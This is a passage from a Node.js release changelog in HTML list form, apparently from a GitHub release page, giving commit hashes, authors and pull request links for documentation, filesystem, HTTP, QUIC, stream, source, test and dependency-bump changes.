<li>[<a href="https://github.com/nodejs/node/commit/59b7be8193"><code>59b7be8193</code></a>] - <strong>doc</strong>: fix typo in packages.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63882" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63882/hovercard">#63882</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/33c236cea9"><code>33c236cea9</code></a>] - <strong>doc</strong>: fix a/an article typos in module, util, and dns (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63766" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63766/hovercard">#63766</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/30595da67b"><code>30595da67b</code></a>] - <strong>doc</strong>: update npm supported versions link (hojeong park) <a href="https://github.com/nodejs/node/pull/63672" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63672/hovercard">#63672</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5919ba7e97"><code>5919ba7e97</code></a>] - <strong>doc</strong>: fix AES-OCB IV length in SubtleCrypto.supports example (Anshika Jain) <a href="https://github.com/nodejs/node/pull/63717" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63717/hovercard">#63717</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/51cab5cb72"><code>51cab5cb72</code></a>] - <strong>doc</strong>: add webstreams to args for <code>pipeline</code> from <code>stream/promises</code> (David Sanders) <a href="https://github.com/nodejs/node/pull/63628" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63628/hovercard">#63628</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce85b2af88"><code>ce85b2af88</code></a>] - <strong>doc</strong>: fix "used to sent" → "used to send" in http2 (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63700" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63700/hovercard">#63700</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/298735e8df"><code>298735e8df</code></a>] - <strong>doc</strong>: mark Node.js 25 as End-of-Life (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63692" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63692/hovercard">#63692</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56948518b9"><code>56948518b9</code></a>] - <strong>doc</strong>: clarify tty raw mode applies to input processing only (Muhammad Zeeshan) <a href="https://github.com/nodejs/node/pull/63438" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63438/hovercard">#63438</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32ff731248"><code>32ff731248</code></a>] - <strong>doc</strong>: add worker_threads history entries (Bob Put) <a href="https://github.com/nodejs/node/pull/63545" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63545/hovercard">#63545</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cde0daabcc"><code>cde0daabcc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>doc</strong>: update <code>blockList</code> stability status to release candidate (alphaleadership) <a href="https://github.com/nodejs/node/pull/63050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63050/hovercard">#63050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d29483fc4f"><code>d29483fc4f</code></a>] - <strong>doc,crypto</strong>: mark argon2 and encap/decap as stable (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63924" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63924/hovercard">#63924</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e668331d9"><code>6e668331d9</code></a>] - <strong>events</strong>: improve <code>addAbortListener</code> perf by caching options object (Raz Luvaton) <a href="https://github.com/nodejs/node/pull/52367" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/52367/hovercard">#52367</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/97aafe2519"><code>97aafe2519</code></a>] - <strong>ffi</strong>: add fast support for almost all other platforms (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63941/hovercard">#63941</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f52cf5eeaa"><code>f52cf5eeaa</code></a>] - <strong>ffi</strong>: add experimental fast FFI call API for AArch64 and x86_64 (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/63068" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63068/hovercard">#63068</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9461fee05"><code>d9461fee05</code></a>] - <strong>ffi</strong>: port semi-colon fix for riscv64 (and others) (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/63794" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63794/hovercard">#63794</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c8402e0a8"><code>4c8402e0a8</code></a>] - <strong>fs</strong>: do not treat EPERM as ENOTEMPTY on Windows (Kirill Saied) <a href="https://github.com/nodejs/node/pull/63709" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63709/hovercard">#63709</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b78f5a7537"><code>b78f5a7537</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: support caller-supplied readFile() buffers (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63634" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63634/hovercard">#63634</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d0097d489"><code>3d0097d489</code></a>] - <strong>fs</strong>: prevent spurious recursive watch events on prefix siblings (Marco) <a href="https://github.com/nodejs/node/pull/63095" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63095/hovercard">#63095</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/14d829cb3c"><code>14d829cb3c</code></a>] - <strong>fs</strong>: ignore deleted dirs in recursive watch scan (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63686" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63686/hovercard">#63686</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ceba08a1ea"><code>ceba08a1ea</code></a>] - <strong>fs</strong>: coerce -0 to +0 in mode flags and watch intervals (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6577d3b282"><code>6577d3b282</code></a>] - <strong>http</strong>: avoid stream listeners on idle agent sockets (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64004/hovercard">#64004</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/417aacbc36"><code>417aacbc36</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: close pre-request sockets in closeIdleConnections (semimikoh) <a href="https://github.com/nodejs/node/pull/63470" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63470/hovercard">#63470</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7fd13a59a"><code>b7fd13a59a</code></a>] - <strong>http2</strong>: retain header memory in session accounting (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63752" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63752/hovercard">#63752</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e611ccd167"><code>e611ccd167</code></a>] - <strong>inspector</strong>: fix inspector.close() documented behavior (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63837" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63837/hovercard">#63837</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a44f51eef3"><code>a44f51eef3</code></a>] - <strong>lib</strong>: fix missing lazyDOMException import (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64033" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64033/hovercard">#64033</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/27cc4ec598"><code>27cc4ec598</code></a>] - <strong>lib</strong>: add lint rule to enforce use of <code>kEmptyObject</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63790" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63790/hovercard">#63790</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7ee31b0bf4"><code>7ee31b0bf4</code></a>] - <strong>lib</strong>: improve control abstraction coverage in frozen intrinsics (Renegade334) <a href="https://github.com/nodejs/node/pull/63698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63698/hovercard">#63698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/078457839a"><code>078457839a</code></a>] - <strong>lib</strong>: add Iterator global to primordials (Renegade334) <a href="https://github.com/nodejs/node/pull/63698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63698/hovercard">#63698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58837dc4dd"><code>58837dc4dd</code></a>] - <strong>lib</strong>: remove source map deadcode in type stripping (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63738" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63738/hovercard">#63738</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e7513a8b9e"><code>e7513a8b9e</code></a>] - <strong>lib</strong>: make <code>Navigator#language</code> getter throw on invalid <code>this</code> (Mohamed Sayed) <a href="https://github.com/nodejs/node/pull/63601" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63601/hovercard">#63601</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fbb108be7d"><code>fbb108be7d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>loader</strong>: implement package maps (Maël Nison) <a href="https://github.com/nodejs/node/pull/62239" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62239/hovercard">#62239</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea0b8e1dc2"><code>ea0b8e1dc2</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.35.3 to 4.36.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63724" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63724/hovercard">#63724</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ac90719532"><code>ac90719532</code></a>] - <strong>meta</strong>: bump actions/cache from 5.0.4 to 5.0.5 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62847" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62847/hovercard">#62847</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ed3de3062"><code>3ed3de3062</code></a>] - <strong>meta</strong>: bump actions/checkout from 6.0.2 to 6.0.3 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63726" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63726/hovercard">#63726</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d08d57bf70"><code>d08d57bf70</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 6.0.0 to 6.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63725" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63725/hovercard">#63725</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e748d192cf"><code>e748d192cf</code></a>] - <strong>meta</strong>: bump cachix/cachix-action (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63729" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63729/hovercard">#63729</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10554eb131"><code>10554eb131</code></a>] - <strong>meta</strong>: bump actions/stale from 10.2.0 to 10.3.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63728" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63728/hovercard">#63728</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/791885f2af"><code>791885f2af</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.19.0 to 2.19.4 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63727" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63727/hovercard">#63727</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32d9a407d9"><code>32d9a407d9</code></a>] - <strong>meta</strong>: bump cachix/install-nix-action from 31.10.5 to 31.10.6 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63723" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63723/hovercard">#63723</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b97c7bed07"><code>b97c7bed07</code></a>] - <strong>module</strong>: enable existing machinery for deferred import of static modules (Maya Lekova) <a href="https://github.com/nodejs/node/pull/63712" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63712/hovercard">#63712</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4becad2117"><code>4becad2117</code></a>] - <strong>module</strong>: use file: URL as sourceURL for type-stripped CommonJS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63705" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63705/hovercard">#63705</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c71c85b95f"><code>c71c85b95f</code></a>] - <strong>net</strong>: early TCP binding via synchronous net.BoundSocket (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63951" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63951/hovercard">#63951</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/45494d5a8a"><code>45494d5a8a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>net</strong>: support TCP_KEEPINTVL and TCP_KEEPCNT in setKeepAlive (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63825" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63825/hovercard">#63825</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3988efa1f3"><code>3988efa1f3</code></a>] - <strong>net</strong>: coerce -0 to +0 in BlockList prefixes (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/484efd1c44"><code>484efd1c44</code></a>] - <strong>quic</strong>: fix get_reader bug that dropped data on FIN (Tim Perry) <a href="https://github.com/nodejs/node/pull/63946" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63946/hovercard">#63946</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04a17fe6f0"><code>04a17fe6f0</code></a>] - <strong>quic</strong>: expose QUIC certificates as JS X509Certificate, not raw handles (Tim Perry) <a href="https://github.com/nodejs/node/pull/63191" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63191/hovercard">#63191</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b62d5696dc"><code>b62d5696dc</code></a>] - <strong>quic</strong>: fix reader backpressure deadlock on idle connections (Tim Perry) <a href="https://github.com/nodejs/node/pull/63950" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63950/hovercard">#63950</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f1c8d7453"><code>3f1c8d7453</code></a>] - <strong>quic</strong>: fix broken listEndpoints export, test callbacks &amp; nghttp3 include (Tim Perry) <a href="https://github.com/nodejs/node/pull/63874" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63874/hovercard">#63874</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8538b9deb"><code>d8538b9deb</code></a>] - <strong>quic</strong>: impl. cb for http/3 settings/app. options (Marten Richter) <a href="https://github.com/nodejs/node/pull/63558" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63558/hovercard">#63558</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/643b19716e"><code>643b19716e</code></a>] - <strong>quic</strong>: add listEndpoints API (James M Snell) <a href="https://github.com/nodejs/node/pull/63536" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63536/hovercard">#63536</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2bce35bea4"><code>2bce35bea4</code></a>] - <strong>sqlite</strong>: do not leave database open after failed open (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63854" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63854/hovercard">#63854</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/394af52abb"><code>394af52abb</code></a>] - <strong>sqlite</strong>: fix stack-use-after-scope with function callback (ndossche) <a href="https://github.com/nodejs/node/pull/63640" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63640/hovercard">#63640</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10f03e5958"><code>10f03e5958</code></a>] - <strong>src</strong>: omit unconvertible names in cjs_lexer::Parse (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63943" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63943/hovercard">#63943</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1723773d41"><code>1723773d41</code></a>] - <strong>src</strong>: keep global list of addon-provided cleanup hooks (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63985" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63985/hovercard">#63985</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef12e9ea44"><code>ef12e9ea44</code></a>] - <strong>src</strong>: guard OpenSSL compression header include (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64009" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64009/hovercard">#64009</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/48af8a6d8d"><code>48af8a6d8d</code></a>] - <strong>src</strong>: handle empty MaybeLocal in cjs_lexer::Parse (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63885" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63885/hovercard">#63885</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a672ee9e8"><code>2a672ee9e8</code></a>] - <strong>src</strong>: fast path empty native immediate drain (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62969" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62969/hovercard">#62969</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db6a31d1a1"><code>db6a31d1a1</code></a>] - <strong>src</strong>: do not track weak <code>BaseObject</code>s as childrens of <code>Realm</code>s (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63842/hovercard">#63842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5fb837ff46"><code>5fb837ff46</code></a>] - <strong>src</strong>: allow tracking children in <code>MemoryTracker</code> with weak edges (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63842/hovercard">#63842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d22d373a9"><code>6d22d373a9</code></a>] - <strong>src</strong>: use C++14 deprecated attribute for <code>NODE_DEPRECATED</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63755" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63755/hovercard">#63755</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7ac3fe1992"><code>7ac3fe1992</code></a>] - <strong>src</strong>: add cleanup hooks to <code>node::ObjectWrap</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63642" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63642/hovercard">#63642</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d82d369155"><code>d82d369155</code></a>] - <strong>src</strong>: fix edge case when deflateInit2() fails with Z_VERSION_ERROR (Nora Dossche) <a href="https://github.com/nodejs/node/pull/63476" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63476/hovercard">#63476</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/03858d152b"><code>03858d152b</code></a>] - <strong>src</strong>: remove redundant <code>handle_</code> field in ffi (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63665" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63665/hovercard">#63665</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1682264f6b"><code>1682264f6b</code></a>] - <strong>src</strong>: add Latin1 fast path in StringBytes::Encode utf8 (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/63385" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63385/hovercard">#63385</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc29696acf"><code>cc29696acf</code></a>] - <strong>stream</strong>: fix Writable.toWeb() desiredSize for non-object-mode (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62986" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62986/hovercard">#62986</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9967a25b2"><code>d9967a25b2</code></a>] - <strong>stream</strong>: handle falsy push writer fail reasons (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63569" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63569/hovercard">#63569</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b53f8f75c9"><code>b53f8f75c9</code></a>] - <strong>stream</strong>: reduce allocations on WHATWG streams hot paths (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63876" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63876/hovercard">#63876</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/315ca426d8"><code>315ca426d8</code></a>] - <strong>stream</strong>: handle setEncoding after buffered data (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63973" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63973/hovercard">#63973</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06413cd6bd"><code>06413cd6bd</code></a>] - <strong>stream</strong>: fix Utf8Stream stall after full write of multi-byte data (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63964" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63964/hovercard">#63964</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a9f9a3dafa"><code>a9f9a3dafa</code></a>] - <strong>stream</strong>: keep overlapping broadcast reads pending (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63500" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63500/hovercard">#63500</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/009cca11bd"><code>009cca11bd</code></a>] - <strong>stream</strong>: refine the stream/iter backpressure (James M Snell) <a href="https://github.com/nodejs/node/pull/63697" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63697/hovercard">#63697</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f81dcfc99"><code>3f81dcfc99</code></a>] - <strong>stream</strong>: only pass the expected number of parameters to callbacks (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63909" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63909/hovercard">#63909</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a83b5d1fe"><code>9a83b5d1fe</code></a>] - <strong>stream</strong>: fix dropped first chunk in Utf8Stream buffer mode (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63833" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63833/hovercard">#63833</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0bdf5adea9"><code>0bdf5adea9</code></a>] - <strong>stream</strong>: remove transform-writer handling in pipeTo (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63684" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63684/hovercard">#63684</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10272a94b6"><code>10272a94b6</code></a>] - <strong>stream</strong>: check done before backpressure in stream reader (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63699/hovercard">#63699</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/792c410631"><code>792c410631</code></a>] - <strong>stream</strong>: fix pipeToSync byte accounting (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63564" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63564/hovercard">#63564</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3cfafbc54b"><code>3cfafbc54b</code></a>] - <strong>stream</strong>: reject pull() reads on abort (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63498" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63498/hovercard">#63498</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/640a8cede5"><code>640a8cede5</code></a>] - <strong>stream</strong>: fast-path stateless transform flush results (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63605" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63605/hovercard">#63605</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ece4477872"><code>ece4477872</code></a>] - <strong>stream</strong>: optimize pipeTo promise handling (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63572" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63572/hovercard">#63572</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2cb84c2daf"><code>2cb84c2daf</code></a>] - <strong>stream</strong>: handle sync writev completion in pipeTo (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63561" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63561/hovercard">#63561</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d9fdda5fa"><code>7d9fdda5fa</code></a>] - <strong>stream</strong>: settle pending broadcast reads on return (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63603" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63603/hovercard">#63603</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e2aea3aac7"><code>e2aea3aac7</code></a>] - <strong>test</strong>: tolerate duplicate watch change events (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63937" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63937/hovercard">#63937</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea6300593a"><code>ea6300593a</code></a>] - <strong>test</strong>: mark test-debugger-run-after-quit-restart as flaky on macOS (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64006" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64006/hovercard">#64006</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/be1b204fa4"><code>be1b204fa4</code></a>] - <strong>test</strong>: update WPT for url to d4598eba09 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63899/hovercard">#63899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b3d0d05b05"><code>b3d0d05b05</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 03a1476844 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63900" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63900/hovercard">#63900</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/046af2609f"><code>046af2609f</code></a>] - <strong>test</strong>: update WPT for urlpattern to 23aac92784 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63898/hovercard">#63898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/562b831a98"><code>562b831a98</code></a>] - <strong>test</strong>: add tests for 3 methods in utils (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63765" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63765/hovercard">#63765</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28e3629dd3"><code>28e3629dd3</code></a>] - <strong>test</strong>: mark SEA tests flaky on linux arm debug (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63743" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63743/hovercard">#63743</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/243aa846de"><code>243aa846de</code></a>] - <strong>test</strong>: validate ERR_INVALID_THIS for scheduler methods (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63764" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63764/hovercard">#63764</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6bd07df2bc"><code>6bd07df2bc</code></a>] - <strong>test</strong>: add coverage outside SEA (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63744" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63744/hovercard">#63744</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bd67c9d11b"><code>bd67c9d11b</code></a>] - <strong>test</strong>: update WPT for urlpattern to 2f28df545c (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63771" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63771/hovercard">#63771</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e40bfe7081"><code>e40bfe7081</code></a>] - <strong>test</strong>: make Brotli 16GB test wait for backpressure (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63389" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63389/hovercard">#63389</a></li>
